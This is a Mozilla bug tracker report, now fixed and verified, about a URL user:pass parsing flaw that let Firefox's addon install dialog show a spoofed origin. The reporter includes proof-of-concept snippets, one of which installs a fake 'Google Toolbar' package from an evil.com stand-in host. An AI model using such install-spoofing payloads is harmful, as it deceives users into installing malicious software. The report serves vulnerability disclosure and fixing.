bad userpass URL parsing leads to addon install spoofing

RESOLVED FIXED

Status

()

Core
Networking
P2
normal
RESOLVED FIXED
9 years ago
9 years ago

People

(Reporter: dveditz, Assigned: dveditz)

Tracking

({verified1.8.1.13})

unspecified
verified1.8.1.13
Points:
---
Bug Flags:
blocking1.9 +
blocking1.8.1.13 +
wanted1.8.1.x +
blocking1.8.0.next +

Firefox Tracking Flags

(Not tracked)

Details

(Whiteboard: [sg:dupe 415034])

(Assignee)

Description

9 years ago
This is an alternate exploit for the nsStandardURL User:pass parsing bug described in bug 415034 and 415401. The fix will be the same, but it's a completely unrelated testcase/exploit.

1) load https://addons.mozilla.org  (because it's whitelisted)
2) enter the URI
javascript:InstallTrigger.install({"test":"https://:foo@addons.mozilla.org/some/path"});void(0)

An install confirmation dialog comes up. Due to this bug it shows the "test" package as coming from "https://s.mozilla.org/some/path/". (Note: any actual install will fail as it's a fake path, that's besides the point for this test). It looks like this is just a display URI, so if it had been a real path the install would still work -- in other words you could

To exploit this the trigger would have to be run on a whitelisted site, or convince the user to paste the URL into the addressbar and not notice the evil site. You can't prevent the install confirmation dialog from coming up, but if you can convince the user that the content comes from a good source that's just as good, right? What about sourcing the package from

url = "http://:xxxxxxx@evil.com/toolbar.google.com/path/gtoolbar.xpi"
InstallTrigger.install({"Google Toolbar": url});
Flags: wanted1.8.1.x+
Flags: blocking1.9?
Flags: blocking1.8.1.13+
(Assignee)

Updated

9 years ago
Whiteboard: [sg:dupe 415034]
(Assignee)

Comment 1

9 years ago
This is due to the SetUserPass() at

http://bonsai.mozilla.org/cvsblame.cgi?file=/mozilla/xpinstall/src/nsXPITriggerInfo.cpp&rev=1.40&mark=142#132

used to generate the package list at 

http://bonsai.mozilla.org/cvsblame.cgi?file=/mozilla/xpinstall/src/nsXPInstallManager.cpp&rev=1.158&mark=278#271

Comment 2

9 years ago
DVeditz will you be able to fix this for b4?
Flags: blocking1.9? → blocking1.9+
Priority: -- → P2
(Assignee)

Comment 3

9 years ago
The patch in bug 415034 fixes this
(Assignee)

Comment 4

9 years ago
bug 415034 fixed on trunk
Status: NEW → RESOLVED
Last Resolved: 9 years ago
Resolution: --- → FIXED
(Assignee)

Comment 5

9 years ago
Fix checked into 1.8 branch
Keywords: fixed1.8.1.13
Verified in Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.13) Gecko/2008031114 Firefox/2.0.0.13.
Keywords: fixed1.8.1.13 → verified1.8.1.13

Updated

9 years ago
Flags: blocking1.8.0.15+
(Assignee)

Updated

9 years ago
Group: security
You need to log in before you can comment on or make changes to this bug.